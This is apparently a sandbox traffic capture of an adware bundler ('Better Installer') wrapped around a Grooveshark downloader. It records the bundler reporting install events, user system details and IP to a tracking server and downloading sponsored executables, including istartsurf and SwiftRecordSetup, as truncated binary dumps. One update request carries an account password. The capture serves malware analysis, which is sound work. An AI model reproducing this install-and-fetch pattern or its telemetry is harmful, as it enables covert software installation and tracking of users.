Content-Type: application/pkix-crl
Last-Modified: Tue, 24 Mar 2015 05:02:25 GMT
ETag: "a1132b8ef65d01:0"
Cache-Control: max-age=900
Date: Wed, 15 Apr 2015 02:32:03 GMT
Connection: keep-alive
....


GET /pki/crl/products/WinPCA.crl HTTP/1.1


Cache-Control: max-age = 900
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Sat, 07 Mar 2015 06:01:44 GMT
If-None-Match: "dde36a309c58d01:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 304 Not Modified
Content-Type: application/pkix-crl
Last-Modified: Sat, 07 Mar 2015 06:01:44 GMT
ETag: "dde36a309c58d01:0"
Cache-Control: max-age=900
Date: Wed, 15 Apr 2015 02:32:03 GMT
Connection: keep-alive
....


GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1


Cache-Control: max-age = 900
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 05 Mar 2015 06:01:35 GMT
If-None-Match: "cf2633d6957d01:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 304 Not Modified
Content-Type: application/pkix-crl
Last-Modified: Thu, 05 Mar 2015 06:01:35 GMT
ETag: "cf2633d6957d01:0"
Cache-Control: max-age=900
Date: Wed, 15 Apr 2015 02:32:03 GMT
Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/pkix-crl..Last-Mo
dified: Thu, 05 Mar 2015 06:01:35 GMT..ETag: "cf2633d6957d01:0"..Cache
-Control: max-age=900..Date: Wed, 15 Apr 2015 02:32:03 GMT..Connection
: keep-alive..



GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=3&index_in_screen=1&index_in_session=3&0.9926493029249737 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:18 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:29:18 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=4&index_in_screen=1&index_in_session=4&0.8565851792086028 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:18 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:29:18 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=83916-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Type: application/octet-stream
Content-Length: 587412
Last-Modified: Fri, 10 Apr 2015 02:59:56 GMT
Connection: keep-alive
Expires: Sat, 18 Apr 2015 02:28:20 GMT
Cache-Control: max-age=259200
Content-Range: bytes 83916-671327/671328
..U...B...<..........wH...@.............................:.uF.......
t1.......B.............:A.u#.....................u....................
.......................t...<....U..D...E.......M..M...Q...D.....D..
............:.....D..............;.....D..............K....E.....E....
:.....t{.U..U.....M..M...Q.......M..M...Q.......M..M...Q........4....E
.....E...4...Q.)...................U......... ...........$......;.....
t{.E..E.....U..U...B.......U..U...B.......U..U...B........0....M.....M
...0...R.....................E............................K.....t{.M..
M.....E..E...H.......E..E...H.......E..E...H........,....U.....U...,..
.P.....................M............................#....}..t..M......
.......R..!....................u..........M...8...3._^.M.3........]...
........U.... ....T.H.3..E..}[email protected].
......M..M..U..................t6.........../t............\u........E.
..................U........E.;E.tR.M. M.....Q.U.R......P..H......M. M.
..3.f..M..........P.M.Q.......................3.f.......}..t..M.Q.....
.R.........E.P......Q..............R..@pG....u.j.......P...pG..M.3..a.
....].....U.........T.H.3..E.VW..|....}..t..}..t..}..t............}...
.S.....|....M.;H.........|....z..t...|.....Q..........|....B.......|..
....U.;Q.|.......>.....|......U.;Q.}...|.....Q.K........|......H.;M
.}...|.....P............|.....<...R..|.....Q..........|....E..B....
...Q.U.R.E.P..|.....R.........................|.....Q..........|....B.
.............t.3..q..........~.......^..........u.......K.........
<<< skipped >>>


GET /ajax/libs/jquery/1.7.2/jquery.min.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: ajax.googleapis.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Type: text/javascript; charset=UTF-8
Last-Modified: Thu, 29 Mar 2012 18:19:50 GMT
Date: Mon, 13 Apr 2015 15:16:06 GMT
Expires: Tue, 12 Apr 2016 15:16:06 GMT
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 33673
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 126808
Alternate-Protocol: 80:quic,p=0.5
...............F.?..<E..).b..(.........v..i.......E.,^"Y*.E......m|
#2...,.g...n.q$....;..v.f.y.o>.}...W....=.z.jq.77.Mq9/.|....^..?.[.
.r..c.....,.....&..m.g.^...\f.{z8....\e..O.<..?..^.O....oe~....u...
;."...U.w.....t6.....xs.Di/Ye.T.M|....]......:_foW~..<.z.v.{Y.]..O^
0.z.|......*DO..j.{.=_{.Cz....-U.n.x..=.../. '.x.{.Jo{|..j....n..l7..4
/.....T.{.rZ.3........C.jU..<..p.......'.V....e.J........?.m....fG.
..{......P.....t..?.B.X....k..s.c.K..-.".pS.n..P.6...:.Y.T5.4\.W;...U.
.44....;..,e.=...^..S?]c.i.C..O.h......_.....GK5.M..8....4.4.E..Q.<
...m.{[.....O.....=.lI..8....n....2.?.{/.....?&....}_...v5.....w..}..G
..w4.....l.V.......i.mw..&4Yi.@[&..........i.>.S%..aA0..fQ.hK..pP..
....<_......(.]..\-.R..z0Ym."....rPt........o.g..zM..!.P...p...Mi.l
w.rYx..|4..V.......0F..|4....<....1..-..S/....|Nx...;........".w.3.
{..Q>Z.i....x.Ut...:Jx. .3..f..G@Z.:.y..g4\j.v..B..]>...c...[.. 
z......\...:\.%.p...AB{[email protected].{?..d.[..dC....h...!X.V.w.[Q..
...:.h9\.i...........1.Ae.yr.W.........M.]..k...y...c.y.J.P..O..G....i
AJZ.{[email protected].}0.........^......&..5.....`.F.Y....<.......
....@[email protected]..`......V....78M.X yM.b.x(u....Q..f.l...f....E....
3.#..l.l...`1Y.t.N...M...o..ZR!.D.<..}.JFJ.bF..A.z.....z3.a....x.D.
..S9.D....N.n..j1...)f...$..?.z.Q>.....Q.3.'.n..P....x..|..v.....&l
t;...F..~..M.eh)..Q6..x..]..O.......G(@..N.H.... .Ip../.pjz....h.....t
UD..V.h2..........].Y4.N5........7j.}...3. [email protected]..}n4Pz..5.....h&
gt;...$...X0....U..S...u;...BV.A._ F.P.........T.F.6..I..b.%*..:..
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=3&index_in_screen=1&index_in_session=3&0.3467059525107588 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:15 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:28:15 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:27:25 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
600a...............v.G......w..l....".]...h.Jj.e.eW.4O.H.Ib..h1..5.2g.
e.e.d...........rw......Xn..........eR.-'.......%q..k.{.d..z.x.H.Q.Z..
....Eo.^.k|/......y.>.......O.ZT..>@.M.I.V:],..8..Ie.-yw.}.H..d{
..O.g.mS.....O....d.O.A<^$_..e:......}2]~.;.....7Jz._...y.L......1^
-g.x.....b.u......^..;[.....0......._..$.x6...."..........C<O....0.
...T..i<.B=../f......|6{.,.O......i.f......x.....W.m...2.M..U..H/.v
..y.).....9&q...9.<Y..x.Q..&]l......._:.}@..(2.b]%g.{.....<.q...
...Jt0.d..V..-.{&....n.8.A{9_ ....;g.K.i6g...[.r>.....n<?.L.=.
...........|.O... .'..wT..7.P .!8...%>o.!].F.....m-.t.L6.."...X..O.
...:.....#...1.......Y:..W}..>..<.......-V.3|X..e......c....i..W
S<].g.y......8..V....?..g.J......}....d.}...<.&..0.....%.H>b.
.f.A:...Y/.-.......U.\r..w.6l.vZ.......U.N.....j>v..n.-......v.....
;..ww._~........{7.....j.?c.D....6A<......q...........M............
.C..i..Y...I.ko8.........U.{*..wC..i<h....;_W....w*k.C..YU|.c.....&
gt;j...o.........c.W..7............_.......... . .... .ws.;..{C....<
;.w.r~.|.r........W~........V~.......{..{7.........X.......,q..a..8^,.
.#....."*...&.e...a.H.F.=|6....5z....I....4..6.. _..?..:8......d...4.W
.-.. e.....bp....;g...Kt6...........W.d..O.R..m..qu.Npk...........%...
^o\..^...P..z...a?.z......RI.{......t...4.I.*....F.%...........(......
0...@....>.\....[.:[email protected]
..%..?.R.nn..........#....z [email protected]]......-H...\X....&.x....b.
....k.3..7......y.V..YG..2...o......Q7.z. hc......Z..E..!E!p.O....
<<< skipped >>>

POST /installer/ajax HTTP/1.1


x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Content-Length: 2714
Connection: Keep-Alive
Cache-Control: no-cache

country=UA&uid_orig=608d3271d8f3494f867a2b514a49c4e9&uid=608d3271d8f3494f867a2b514a49c4e9&affid=grooveload&sid=grooveload&cli_id=&softwareName=SciLor's groovesharkâ„¢.com Downloader&installerVersion=2.1&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTgw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=d3803e540ade6159995b4a6be261517a&tokyo_csrf_timestamp=1429064845&unique_id=8625ca1db67bb0868ba6d89d9c34550b&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:27:26 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
e6d.............\.s.6..W0.i..-[.......ri..k&N/..:...$.$.#@)j&..}..%.V,
;N.s2.1...X...}...H.F...K....O..X.!.)..6<.9....Xp-..K...n.......&K.
.-d....................E..D|.F.E..R.L............d.....bb..a(2......M.
..>..HDj|..2.b...,y.J..B../........Q..........}..L..<...5.9./...
P...."...X..q,..{./...S:.;..V.`l..... ...>[email protected]...'.......tb..
[email protected];c%..if.0l\.Q,"..D.,...Jfn..w... ..B.mn.JN..q....&.I/.
{-t..F.p6)..B....`<rS..7.Yr.b..{.n....=-..-....C`/[email protected]{Nd.....{...
.K>.>.ZhO..D.4[..{.r.5.1.....]........[.Fg.`1m/UM.z|...N.{.....q
.....V-.S..^a........ b.%{"....p..U.mo!.d#I8._.{ .PAT.Bc...a..;...\..n
 ..$...H^..AZ.=.a.&8.Jr..>.4dy.v'y.Qf8i..c.$ *k.. p.....Vk......=..
$.....]).6)K..[.u.c.d.p.i:.k_.....9(@..go.s....>.44.._.Q.r.f..6..c.
h......&........b,....r. ..=I&.......;\.o0.]...^..x73&;.....Ce.$.G.d..
..-.I.....8.O.t..4\[email protected]'.Y.1...Z..x|.&....O....K6..y..;;.oK..
..U.#..h..A......Z.......zg..k..U.".....Y...,.9.3>..&..........)m.p
&. ;6....3F.^..W.......J.r1..7s3k...y\..(..-r%.B........]...7o/^?...J.
.P..}^%.s\.D$./gw.. ..K.n.F..v#....e.#..........rk...............-?.i.
....V...?:..,.;....sEBM.z...=>-..p.?..........|....t-|J....wcH....&
lt;..Me.q...x.....(......<...g.........#.=.F..U*`.j...q.{[email protected]
...~.....j..l'!........(.a.......I..^....EI.^..=....=.........~.n8>
=......q;.f.$.../p;....[7Ii.....r.f.....E2..l...'..2.;..-......{._.sr.
...x.......M~G..M......r........(F,hRkf..V..M...\,.....X..$..#.:...@).
...;.....z.i ;D....HD../....pO.`..~-n..cN. .K....U.z.C..vnx....&4.
<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=1&index_in_screen=1&index_in_session=1&0.22358014514659485 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:27:36 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:27:36 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1953&uid=&upv= HTTP/1.1
Host: VVV.theviilage.com
User-Agent: Mozilla/4.0  
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:30:13 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.14p1
1..1..0..



GET /23783.ashx?e=hpY1rXLYst6pJ45fVU/vCyxcBYBT1h/GUt9QDuO61D9AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN9sxeMUIMJR/YXcJcN2x8HAjq1U t1gQfOJGi8wh2qItjgb6v7cXpPt/0XcjoL3VJQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS8XJ4fEzbq9KIjmlqkwahXnm1fbP01zi3GriK1y4p4Uys5hz/NFhrynKsGcMQF H3w== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:30 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS



GET /sd?is=sm HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Content-Length: 523296
Cache-Control: private, max-age=86400
Expires: Thu, 16 Apr 2015 02:28:16 GMT
Date: Wed, 15 Apr 2015 02:28:16 GMT
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
..................0...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=321583-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 964746
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 13 Apr 2015 07:44:50 GMT
Content-Range: bytes 321583-1286328/1286329
X-Cache: Miss from cloudfront
Via: 1.1 145c6344f127828b56f8c840dcc928e8.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Fo9ESHnWoPZuMG_LIHPbnJkLl1lmnHhnMaKEODz1zErmmL77GrCj2Q==
.`../r"k>F-O../......I......(..vWPN.. ...J......."..j&.b.n.........
........V...O_.Zj...~4..T...}TMZ.....y.s.i.....G..b......[.x....,3....
Q....%.'.M.m.}........j..E...........m......>.P....y.x".G.2c....}.'
.Q.....eP../..... h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....t
...^^!......g..X..$.../...|..l...!.E..Q9..#.$.I...Y..<G............
_.`TKq`....*...E.R...h............H^A.W.2=....%m..9s...p..WS ...n....6
_..U...d...N........*......aqj.......e......f...J.u.4...3...&j.=~..3..
E..x.a....X..".G.J.aQSF1..4.b..O...L.....a.[..,............8..!M......
...#v..$..Gv}h../.6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S....
MOb....Y'E.0..\Ah.9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"J
mmVr....".o..n....\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....$
..L..5=k.q.....A.l..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......{
<.p.....=D.........W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N"
P}O..U... .5.JZ..x..>8..m......H....E...N...Y.._.\..x...S..<..*`
=.@[email protected].......)Y.b.@H/..?..n9b......4....x["..i.wH.....c...iP7k.s.r.
........V:;M..=I.d..........K'[email protected]......
..........S....?_..F...#-Of..`:......&.. E..Rg/..{...E..f.....n...O.5.
..'zd..*.T.....A..#!"@.>.......AW...$ra....M....... <O.>l[...
....n...c.g.).*N..A=..[6q..'..2..Zg..h}........'>...^kGT......,i...
.m|y....I..V...D....#.]............s.k...E.x....Z........J?..{m.......
...T.).*.4".....cv._....7S[2O.)<.f&D.`...73t...^{.._k'..{.ref...gS.
..=(..Q.4.4F...O....J.t...9t.;..!OH$S..B....[....9....mS....'.^...
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064919&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.speedbit.com
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 200 OK
Connection: close
Date: Wed, 15 Apr 2015 02:28:40 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=s4n5agnzyj3rnvbxdtskeb45; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...



GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Thu, 16 Apr 2015 02:28:17 GMT
Date: Wed, 15 Apr 2015 02:28:17 GMT
Content-Range: bytes 0-523295/523296
Content-Length: 523296
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
..................0...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /grooveshark/download/install.exe HTTP/1.1
Range: bytes=6695238-
User-Agent: Better Installer(Mozilla)
Host: VVV.scilor.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:27:27 GMT
Server: Apache/2
Last-Modified: Fri, 17 Oct 2014 07:36:29 GMT
ETag: "883706-505996c51f940"
Accept-Ranges: bytes
Content-Length: 2231744
Content-Range: bytes 6695238-8926981/8926982
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
[email protected].$.o..[[email protected]...%_Y.
}I4.9..l.OI.z..#...4."S..>..}J.]...w....%...y........j..;z6........
.... l..'(.2.^..u.F...T.y...W...U.u.CC.....h.......F.3.-.......;.G-6'K
....{.. K./M..I..'&.V......F....={q....... m.Q.]B.F;.H.U.........M.w..
 v.......r...Y..G.{<.....K.. kn7........N..SPO.Y..lX..*8..4.H*.J>
;.$.......q....u..-x..................L..N.k...VX..n...!...if....:;.P4
2...j...V.S)rrk;..\.....Z...I<...aK?l.qR.^...pp.K.....C.s.....u.!..
.{..X..Z........t. 'S..Y......@!...:...#yS.m...t..w..T..0....o....)...
..L.({l.....Q.3C.p.J]\.e... .M....RR,P.....P. ...4.R......?.R..q..r...
...X..=].[p......9...i....."Sz..[f....>..$.%.Z.>. ...n..=...M ..
'L.M......?.D.l....d7.A.:.R..H...s..Q0).}........eS~......._.N...(....
.r...#.......U._Il........L.hJ../[email protected]...... D.>.._.X. .Q.'.a.
..].|X.......4g.[Y..D..,.....G0\/(........^ ..'v..P.| ......%.#_m....t
.-.5:.....yA0G.U..q.4s......y....8.....5.......B...QQ.9z.zH.|.....t...
k0..i.s...=n.*...._....l]...G.u.oM".....PT.0i9...>....r.t....VL..Dk
*..p..?....P....&.jR.J=...S...y...v.O..d.U.)..~.HU.Be....0Q..[:..|R.=s
V..\....t.. .'.L [H.I....:./...Q....A.q...U....%.K..}...`..........D.`
..p...3..M..\.....L..Rk.L)... .<b.:..[ ...Sx.).Z().."K .......e....
\n.0..h..z~p..2u.....l7.QB.F..e. .....B......:p<N...j....@}..L.]E.U
L&A...5.....9r....K..R|...B..d<...YT....(.... .....5Ht...t...'.....
...../..z........Fu...,........ 7.E)....l.(q....%...P2.../..'....Q_...
...........~.^H. #..,&hZ..T..:..............DHg.s[.....*.....&l...
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.thawte.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1396
